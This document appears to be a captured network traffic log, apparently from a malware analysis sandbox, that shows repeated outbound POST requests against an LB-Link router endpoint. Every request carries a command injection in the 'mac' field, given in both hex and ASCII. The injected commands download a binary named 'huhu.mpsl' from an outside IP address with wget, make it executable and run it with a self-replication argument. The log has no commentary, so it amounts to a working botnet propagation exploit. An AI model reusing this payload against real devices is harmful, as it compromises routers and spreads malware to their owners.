Feb 29, 2024 10:42:45.823153973 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:42:51.966944933 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:43:03.998699903 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:43:29.597953081 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:42:43.577358961 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:42:46.591123104 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:42:52.734932899 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:43:04.766566992 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:43:29.597939014 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:42:51.107707977 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:42:51.346194983 CET	36	IN	HTTP/1.1 404 Not Found